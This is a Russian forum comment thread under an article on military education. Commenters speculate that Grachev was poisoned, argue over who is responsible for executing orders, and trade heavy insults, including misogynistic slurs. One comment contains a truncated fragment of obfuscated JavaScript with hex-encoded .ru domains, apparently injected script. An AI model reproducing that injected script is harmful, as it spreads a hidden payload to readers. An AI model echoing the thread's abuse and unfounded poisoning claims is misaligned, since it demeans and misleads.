СИСТЕМА ВОЕННОГО ОБРАЗОВАНИЯ – НИ К ЧЁРТУ!

Опубликовано:
Источник: оригинал
Комментариев: 253
5
Средняя: 5 (голоса)

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
sapogomwrilo
(не проверено)
Аватар пользователя sapogomwrilo

про Грачёва - дарвинисту

 Не знал, что отбросил копыта. Значит, предстал перед высшим судом. Любопытно, что в СМИ о его кончине ничего не сообщили. В 2012 г. у меня Интернета не было.  

Значит, не будем рассуждать. Если мне не изменяет память, Грачёв 1947 г. рождения.  Вроде, на здоровье не жаловался... Странно это! Может, всё-таки совесть убила? 

А Лебедь... Я его не осуждаю. Опытные политические волки его подставляли и он совершал ошибки. Потом его поливали дерьмом.  А в целом, он был неплохой мужик.

 
мозговед-дарвинист
(не проверено)
Аватар пользователя мозговед-дарвинист

 ну да, "пацаны к успеху

 ну да, "пацаны к успеху шли"...

То охраняли белый дом, то после из пушек расхерачили.. хочется пробиться в иерархии жизни, два инстинкта - главный и основной рулят. За "совесть" маловероятно. Более правдоподобно, что отжали от кормушек более продуманные и организованные "пацаны", наступало время время "табуреткиных" и больших распилов. 500-мерсы, даже два за раз не тот уровень

 
sapogomwrilo
(не проверено)
Аватар пользователя sapogomwrilo

ещё раз про Грачёва

 Посмотрел в Интернете про Грачёва. Пошёл в гости на пьянку, после пьянки впал в кому и скопытился.  Мне сразу вспомнились обстоятельства смерти Василия Сталина. Пришли домой гости из Грузии, угостили привезённым грузинским вином... Правда, Василий умер довольно быстро. Видимо наука токсикология за последние полвека сделала большие успехи.

Матёрый десантник в 64 года так не умирает. Однозначно - яд!

Жизнь Грачёва - хороший урок для тех, кто строит планы добиться жизненного успеха, став супернегодяем. Они редко живут долго и ещё реже умирают своей смертью. Так что... выбирайте! 

 
f16a
(не проверено)
Аватар пользователя f16a

 Сапогуврыло.  Насчет

 Сапогуврыло.  Насчет выбирайте.  Видите ли в чем проблема.  Подлецы редко бывают умными, особенно по настоящему.  По-настоящему значит мыслить достаточно масштабно и далеко.   Чаще всего ими движут инстинкты, сиюминутная выгода.  Отсюда и соответствующее поведение.    Беда в том что подлецов хватает.  Люди несовершены и не всегда меняются к лучшему с нужной скоростью.  Так что к сожалению последователи у Грачева найдутся, не дай Бог чтобы слишком много.  Как-то так получается.  С уважением, Олег.

window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275"

 
мозговед-дарвинист
(не проверено)
Аватар пользователя мозговед-дарвинист

 Ну да? А как же Сорос

 Ну да? А как же Сорос например, живее всех живых,, в Украине снова за войну агитирует /читай новости/

 уж не говоря о Баффетах и пр Рокфеллерах.

Куклы и кукловоды, ощутите разницу! 

 
Joker
(не проверено)
Аватар пользователя Joker

 Пашка-мерседес, он же П.

 Пашка-мерседес, он же П. Грачев, точняк ничего не напишет. Умер от геморрагического инсульта пару лет назад. В Афгане был он одним из лучших командиров. Чего в какую-то невероятную суку превратился при "капитализьме"? ХЗ. За ради чего тысячи тысяч пацанов положил, за что? Нет, простить такое нельзя.

А в военных училищал готовят командиров рот. Не взводных. Так вся тактика и идет, до роты.

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Рылу сапогомордому Если бы я был генералом

 Если бы я был генералом....

Кажись рылом не вышел.

Не забудем что в веймарской германии военные составляли партию и боролись за власть....

Да ну?  И что за партия это была?  
Хоть в вику слазте, там все партии перечислены.  тут  

В СССР военные антисталинисты не играли самостоятельной роли

Воще шедевроально!
А троцкий  тоже роли не играл? И тайных обществ по свержению сталина небыло?

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

Беда коль пироги начнёт тачать пирожник....

Мухину. Из-за некомпетентности в рассматриваемых вопросах Вы за разом раз выглядите не очень. Вам может быть и невдомёк, что контроль за прохождением распоряжения не дело гонерала его отдавшего, а дело его штаба. И весь текст, который Вы приводите он похож на попытку навести порядок в т.н. "службе штабов". Это раз.

Два. Волшебные слова "организация взаимодействия на местности" повторяете много раз. А сами-то представляете себе это? Когда пытаешься организовать на местности. то не видно ни.... ничего в общем. Местность она знаете ли с холмиками и "зелёнкой" всякой. Причём так глупо всё устроено, что  на пару вёрст вперёд ничего не видно, а когда окажешься там, то всё выглядит несколько иначе. Те несколько мест откуда можно что-то разглядеть скорее всего под наблюдением. И это только начало. Чтобы организовать взаимодействие нужно иметь ВСЕ данные от старшего начальника. (т.к это может быть непонятно объясню). Командир полка организовывает это самое взаимодействие, условно на оборону заблаговременно. Вот рядом командиры батальонов, артдивизиона, приданной сапёрной роты, ой его нет, он отсутствует почемуто, ничего потом ему расскажем. Сначала приказ, потом организация взаимодействия фактически раъяснение приказа.  На местности показал основные ориентиры, условные названия участков местности, откуда ждать противника, передний край, батальонные районы обороны, кнп, позиции боевого охранение (чаще всего так "вон за тем холмиком, смотри по карте"), соседи, бла-бла-бла. Дальше я набрал еще много текста, потом подумал и удалил. Основной посыл такой - местность особо и не нужна. Только для первоначального ориентирования. Потом по карте (или схеме) лучше. Далее,  любое изменение со стороны старшего начальника сбивает всю работу в кашу. А это увы неизбежно. Лекарство здесь одно - опыт. Практический. И сформированный коллектив. Это жупел у нас такой "организовывать взаимодействие на местности", прекрасный и недостижимый. Как "карточка огня отделения".

Три. Контроль вышестояших штабов, который по вашему утверждению нашим не так как надо образованным генералам было ни как не установить. Но Вы-же сами рассказывали про офицера оперотдела штарма Толконюк, который был направлен-нашёл-отстранил-обеспечил, т.е. где-то Вы ошибаетесь. Еще примеры? "Его батальон" В.Быкова, "Танки повернули на запад" Н.Попеля. Там есть. 
 
Геннадий
Аватар пользователя Геннадий

Мите

Из-за некомпетентности в рассматриваемых вопросов Вы раз за разом выглядите не очень. Вам может быть и невдомек, что контроль за прохождением распоряжения не дело генерала его отдавшего, а дело его штаба.

Митя, из-за наличия отсутствия какого-либо понимания вы выглядите полным мудаком. Если приказы генерала раз за разом не проходят из-за недееспособности его штаба, а генерал умывает руки, то на хера нужен этот генерал?

Остальные ваши замечания того же уровня понимания.

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

 Поскольку я служил довольно

 Поскольку я служил довольно долго, могу уверенно сказать что один и тот же штаб  при разных командирах работает по разному. А должен одинаково. О чём скорее всего и шла речь в той директиве ГШ. Только Гена вам этого не понять, что за работу штаба отвечает не генерал умывший руки, а начальник штаба. А за работу узла связи не генерал умывший руки, а начальник узла связи, а контроль прохождения распоряжений ведёт оперативный отдел и снова узел связи. Кстати, из текста Мухина кажется, что бригада к Серафимовичу не пошла, а вот как было на самом деле? Поймите, телеграма на узле связи это ОДИН ИЗ НЕСКОЛЬКИХ путей управления. Бригада одним способом оповещается только в одном случае - лично командиру ставится задача (отдаётся приказ). И всё. Других вариантов нет. Во всех остальных случаях путей несколько. Обязательно.  ДЕЛО (мы же помним на каком мы сайте) генерала отправить бригаду в нужное место, при таком раскладе ДЕЛО выполнено. ДЕЛО ГШ (одно из ДЕЛ) учить работать нижестоящие штабы. Чтобы работали без сбоев и однообразно. Этой директивой ГШ делает своё ДЕЛО. К работе генерала-командира здесь никакого отношения нет. От слова совсем.  Извинись за мудака, Гена. Незнание специфики не страшно, дьявол в деталях, учись. 

 
Joker
(не проверено)
Аватар пользователя Joker

Вот дела в армии творятся!

Вот дела в армии творятся! Все честные (и простые), служат долго, Уставами плюются... У шпаков-то (нас) все просто -- если я даю задание (типо приказ), то отвечаю за необходимость поручаемой работы, место и время проведения ее, состав бригады (квалификацию работников), техническое оснащение бригады, меры безопасного проведения работы. А уж получившие задание отвечают за его исполнение -- претворение в железе. Могут и отказаться, при несоответствии или невозможности выполнения. Да и в армии сейчас можно отказаться выполнять преступные приказы

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

 Вот и я про то же.  Гастат,

 Вот и я про то же. 

Гастат, посмотри. Непонимание очевидного характерно исключительно для тебя. 

 

 
гастат
Аватар пользователя гастат

для НеЧестный Митя

Вот когда тебя расстреляют в боевой обстановке по приказу командира, за то, что ты не проконтролировал отданный тобой же приказ и в итоге он не был исполнен ( а из-за этого погибли люди из других подразделений), то если кто и будет отвечать за это, то командир, а не тот кто расстрелял. А палач твой непосредственный отказаться не сможет, ибо его тоже к тебе прицепом тут же...                                                                                                                                                                                                                                                                               А непонимание этого "очевидного" характерно исключительно для тебя. А твой хладный труп будет скулить, что это не тебя надо было шлёпнуть, а твоих "нерасторопных" подчинённых. Только скулить он это будет уже на небесах...

 
Wazawai
Аватар пользователя Wazawai

ПЦ

Вы, наверное, и правда честный, Митя.

Но глупый.

 

Грешно смеяться над больными людьми!

 
 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

 Наверно да, коль

 Наверно да, коль периодически пытаюсь просветить этот .... террариум. Или правильней секту? Испытываю трудность с подбором корректного термина.

 
гастат
Аватар пользователя гастат

для Честный Митя

 Вы долго служили, значит вам легко ответить на простой вопрос : Кто отвечает за исполнение приказа?

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

 Тот кому приказ исполнять

 Тот кому приказ исполнять

 
гастат
Аватар пользователя гастат

для Честный Митя

 "Командир обязан добиваться исполнения приказания всеми доступными средствами"-вот это для кого написано в Уставе? Там же чёрным по белому написано, а вы "долго" служивший так ничего и не поняли. "Обязан"-значение этого слова в словаре посмотрите. И быстро выяснится, что за исполнение приказа отвечает тот, кто его отдал, а вовсе не тот, кто исполняет Это сделано для того, чтобы не отдавалось ни неисполнимых, ни идиотских, ни тем более преступных приказов. Ваш непосредственный начальник, отдав приказ вас расстрелять, будет отвечать за это или нет?  А ведь в боевой обстановке при таком приказе, вы будете неминуемо расстреляны. Тот, кто отдал приказ, обязан и контролировать его исполнение. Это говорю вам я, сержант запаса Советской Армии.  Вы тут втираете мазь от геморроя людям в уши, постите всякую хрень, ничего не понимая в служебных обязанностях.                                                                                                                                                                                                               Для справки вам, "солдафон"-это грубый, невежественный, малокультурный человек. Это по-вашему идеал офицера, защитника Родины? В общем, я присоединяюсь к характеристикам, данным вам Геннадием и Wazawai. И от себя добавлю: вы не офицер-вы позорище.

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

Сам то не запутался?

 Гена! Прочитай, что написал. Словарь брать не надо. Улови нюансы смысла "отвечает за исполнение" (ключевое слово "отвечает") и "обязан добиваться исполнения(ключевое слово добиваться)"  Кстати Гена, это из какого устава? В Уставе таких строчек нет. Пичалька, да? И расстрелять подчинённого никто приказать не может. Даже в боевой обстановке. 

 "Тот, кто отдал приказ, обязан и контролировать его исполнение" это правильное утверждение, более того "Он несет ответственность..... и за непринятие мер по его выполнению" (Так в демократических уставах с 93 года сказано). Упс. А где же ваше "обязан"? Ненути, тогда зачем словарь?   В связи с невысоким уровнем понимания разжую на примере. Вот понадобился человеку сантехник и пришёл сантехник и сказал человек, хочу мол вот так. Ага, сказал сантехник и сделал всё плохо и наоборот. Отвечает сантехник за брак? Да отвечает, пряник он не получит. А человек отвечает? НЕТ! У человека есть два пути выгнать этого сантехника и позвать другого или добиться исполнения (стоять за спиной и бить по шапке) желаемого, а потом дать пряник.  Если вы не поняли скажу прямо: отвечает исполняющий приказ, добивается исполнения приказывающий. Блин, о чём мы говорим. Сами подумайте перед кем отвечает за исполнение СВОЕГО приказа отдавший приказ????? Он его и отдал. Если командир части приказал провести стрельбы, а комроты не вывел роту (холодно ему и дождливо), то ЗА  ЧТО отвечает командир части? А командир роты? Правильно, КР за невыполнение приказа, а КЧ? Ну?  

Но! какой вопрос- такой ответ.   Это вам говорю я - старший сержант Советской армии, дальше она прекратила существование.  О справке, я объяснял почему шпак считает военного солафоном в общих случаях. А вы этого не поняли. До конца дочитать не получилось? Или я прав?

 
гастат
Аватар пользователя гастат

для Честный Митя

 Я- не Гена. Хоть я и не удивлён, что у вас проблемы с визуальным восприятием иформации ( в данном случае с прочтением ника). Словарь по этой же причине, вам и вправду не нужен. Вы ж нихрена в нём не поймёте.            Вот вам как любителю порассуждать о Жукове, цитата из Дисциплинарного Устава Красной Армии (1940г): Глава I. Общие положения.                                                                                                                                                                                                                                                                                                                                      "п 7. Командир не несет ответственности за последствия, если он для принуждения не повинующихся приказу и для восстановления дисциплины и порядка будет вынужден применить силу или оружие.
Командир, не проявивший в этих случаях твердости и решительности и не принявший всех мер к выполнению приказа, предается суду военного трибунала".                                                                                                                                                                                                                           Так обязан добиваться исполнения приказа или нет? Дурака включать по армейской своей привычке продолжите? С 1975 года Дисциплинарный Устав был другой, но в той же главе "Общие положения" в п.7 по духу кардинальных изменений не произошло. И ответственность, подразумевающая обязанность, сохранена. Поэтому даже расстрелять вас могли не только в боевой обстановке. Впрочем, в вашем конкретном случае, Армия не много бы потеряла.                                                                                                                                                                                                                          "(Так в демократических уставах с 93 года сказано)"-а вот на это мне покакать, я присягу нелепым образованиям на карте не давал и идиотизм, содержащийся как в "присяге", так и в ЭТИХ уставах мне не интересен. Далее, мнение Шпака о понятии "солдафон" в отношении вас, явно избыточно. Лично в вашем отношении достаточно словаря.

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

 По сути сказать нечего?  

 По сути сказать нечего?  

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

Вы такой эрудированный....

 Глядя на подпрыгивания вьюна на сковородке уже угараю. "Вы вообще такой ..., по субботам или как" (из Филатова ) Не Гена, то что вы там цитнули в аккурат ответственность подчинённого за исполнение приказа командира. В высшей её форме. Шкуркой. Понимать надо, что копипастишь.   

Вопрос напомнить?  "Кто отвечает за исполнение приказа?" При чём тут устав 40 года?  В русском язУкУ части речи могут употребляться в разных временах. Смысл от этого немного меняется. Повторюсь: какой вопрос - такой ответ. Не знаешь как ЩАС, ЧО спрашиваешь в настоящем времени. 

"Не Гена"(устало зевает в сторону),  ответь на простой вопрос отвечает ли за исполнение приказа получивший приказ. Варианты, да или нет. Тока не копируй больше ничего пожалуйста. Исключительно свои мысли. Удиви. 

 
гастат
Аватар пользователя гастат

для НеЧестный Митя

 Не, ну ты уникальный затупок, а какого года Уставом руководствовался Жуков, которого ты тут отмазываешь от ответственности? Ты же своими постами весь чат изгваздал. А если ЩАС, как ты выражаешься, в уставах по-другому (в чём я сомневаюсь), то это не Армия, а сброд. И хоть обзевайся ( у моего пса это от нервов бывает), офицером тебя это не сделает.

 
суйро
(не проверено)
Аватар пользователя суйро

 Анекдот по теме: В

 Анекдот по теме:

В Грузинской армии. - Командир ты обезян, вот в уставе написано "Командир роты, обезян"                                                                    Нет тут написано "Командир, роты обезян" обезян это ты.

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

Поздравляю господин Соврамши.

 Не Гена, в ДУ ВС СССР всё не так как ты представляешь, я не поленился и проверил себя там про смертоубийство за невыполнение приказа ваще ничего (издевательски ржёт).  Не Гена, порядок отдачи и выполнения приказов оговорен не Дисциплинарным уставом, а чем-то другим. Офицером меня сейчас только ОЧЕНЬ большая война сделает, возраст такой. Обойдись без штампов, пожалуйста.

Причём здесь Жуков, ты свой вопрос помнишь? Где там в вопросе Жуков и почему о 40-м годе в настоящем времени, а? Ты на мой вопрос не отвечаешь почему? Я на твой, явно провокационный, вопрос имел смелость ответить правильно, однозначно и сразу. С тем, что бы потом тебя (собака говоришь есть) мордочкой в лужицу потыкать. (снова издевательски ржёт)  Во избежание метаний повторю еще раз: несёт ли ответственность подчинённый за невыполнение приказа начальника? Да или нет. Затупок запомни - да, несёт. И только подчинённый и несёт за это ответственность. Всё. Начальник несёт ответственность за низкую требовательность к подчинённому. И вообще всё. И никак иначе. Какое отношение имеет эта ветка комментариев к тому, что я писал про "взаимодействие на местности" мне неведомо. Зачем я писал про "взаимодействие на местности" непонятно тебе. (Когда пишу умышленно цитирую текст Мухина с ошибками, никто, никогда не поправил, увы)  Но! Тебе захотелось задать мне явно глупый вопрос. Дальше..., даже не знаю, ни о чём. Надеюсь админ уберёт ветку. Это просьба. До встреч, негена

 
гастат
Аватар пользователя гастат

для НеЧестный Митя

" 9. Право командира (начальника) отдавать приказ и обязанность подчиненного беспрекословно повиноваться являются основными принципами единоначалия.

В случае открытого неповиновения или сопротивления подчиненного командир (начальник) обязан для восстановления порядка и дисциплины принять все установленные законами и воинскими уставами меры. При этом оружие может быть применено только в боевой обстановке, а в условиях мирного времени - в исключительных случаях, не терпящих отлагательства, в соответствии с требованиями Устава внутренней службы Вооруженных Сил Российской Федерации."                                                                                                                                                                                                     Вот же тебе статья из Дисциплинарного Устава 1993 года. Не поленился я и выкладываю тебе, чтобы ты своим бесстыжим носом уткнулся в неё. Разглядел там слово ОБЯЗАН?                                                                                                                                                                                                                                                                                                      

"Вообще-то всё это писалось

 Вообще-то всё это писалось "Гостю" на его понималки. Но для вас 5090 поясню, у тех кто служит искренне нету хобби. И дело не во времени свободном. А именно в отношении к службе. Дались вам эти газоны. За 20 лет службы ни разу не видел крашенных газонов. А порядок на территории, уж звиняйте, обязанность предусмотренная уставом. Т.е. ДЕЛО выражаясь в терминах хозяина сайта. Так же как и питание личного состава, например. Дико стесняюсь, но всё же спрошу, вы о "покраске газонов" и "того дерьма что мы имеем сейчас" на основании чего судите? И ещё одна просьба, не советуйте мне перечитывать однажды читанное. Память офигенная , всё помню с первого раза."                                                                                                                                                                                                                                                                                     А вот это твой пост, в котором ты памятью хвастаешься. Долго служил, говоришь? Память у тебя офигенная, да? И в Уставе ты слово обязан не видел? Я тебе скажу кто ты. Ты не офицер, ты дочь офицера, причём внебрачная. И бёдрами своими ты напрасно сюда вилять пришла, ступай-ка на Тверскую, там тебе привычнее. Админ ветку убирать не будет. Это чтобы всем было видно, что ты-шалава.

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

Что вы там курите?

 В натуре дурачок, или тро-ло-ло. Гастат надоел. Конечно, моя память лучше. Я помню в какой момент и с каким вопросом ты влез. И ум лучше, я понимаю что говорю. И такта больше, пояснять не буду. В общем, руководствуясь заповедью Мухина "отгороди себя от быдла", привожу пример правильного копирования:

Статья 332. Неисполнение приказа

1. Неисполнение подчиненным приказа начальника, отданного в установленном порядке, причинившее существенный вред интересам службы, - наказывается ........

Бачишь?, Усё туточки е.  И прекращаю.

ЗЫТы так и не ответил, слабак. Иди дедом хвастайся. Всё окончательно.

 
гастат
Аватар пользователя гастат

для НеЧестный Митя

 Шалава, это понятно, что УК РФ для тебя и написан, учи его усиленно. Только вот в Армии, к которой ты отношения не имеешь ни малейшего, руководствуются Уставом. А статьи, чтобы тебя носиком накрахмаленным ткнуть, я приводил из Дисциплинарных Уставов соответствующих годов, из Общих Положений, Главы I.                                                                                                                                                                                                         Ум и такт оценивать принято не тем, кто об этом прохрюкал, а сторонним наблюдателям. А заповедями (какие ты заповеди нашла у Мухина то, бестолковая? из церкви, поди гонят, что такое "заповедь" и объяснить некому, а словарик не по силам) тебе, внебрачная дочь офицера, руководствоваться бессмысленно-не поможет.                                                                                                                                                                                                              Капризная ты наша, конечно, когда из тебя потекли сопли, то осталось тебе только с моим дедом и бороться, он то ответить тебе не сможет. Убегаешь? Молодец, только холодно сейчас на улице, сопли заранее утри, а то замёрзнут-обрежешься.

 
Честный Митя
(не проверено)
Аватар пользователя Честный Митя

Имеющий глаза, да увидит.

 Дурачок. На баннере где написано Мухин Юрий Игнатьевич, справа четвёртая строчка.  

У меня здесь не холодно. Ещё виноград на ветках висит. 

Тебе понравится, про тебя как-никак https://www.youtube.com/watch?v=NeNtRWaPT38

 
гастат
Аватар пользователя гастат

для НеЧестный Митя

 Ты ж и попрощалась уже и ушла окончательно, а опять с Тверской тебя принесло. Замёрзла, чтоли? Рейтузы смени на шерстяные и вали обратно-зарабатывать. Там и баннеры поизучаешь. Да, и на УК РФ напирай, он по тебе плачет.

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.